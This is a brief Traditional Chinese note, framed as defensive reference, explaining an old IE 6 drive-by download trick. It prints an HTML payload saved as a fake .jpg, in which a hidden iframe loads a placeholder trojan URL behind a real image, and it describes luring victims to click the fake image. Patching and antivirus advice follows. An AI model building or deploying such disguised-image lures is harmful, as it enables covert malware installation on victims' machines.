警告：本文僅供技術分析與防禦參考，請勿用於非法用途。
IE 6.0 網頁木馬特徵
- 針對所有未修補補丁的 IE 版本有效
- 下載過程防火牆無反應
- 木馬網址以
.jpg 結尾，瀏覽器顯示正常圖片，實則後台下載執行
製作原理
- 利用 IE Bug：只要檔案內含 HTML 代碼，IE 即會執行，忽略副檔名
- 建立一個
.jpg 檔案，內容為 HTML：
<iframe src="木馬網址" frameborder="0"></iframe>
<center><img src="真實圖片網址"></center>
- 上傳至空間，誘騙受害者點擊該「圖片」連結
- 受害者瀏覽時，iframe 隱形載入木馬頁面，同時顯示正常圖片，達到隱蔽下載執行目的
防禦建議
- 及時安裝 IE 累積安全更新
- 啟用防毒軟體即時掃描「下載執行的 ActiveX/腳本」
- 不隨意點擊不明來源圖片連結
- 使用具備網頁惡意碼攔截功能的瀏覽器/防火牆
了解攻擊原理，才能佈署有效防禦。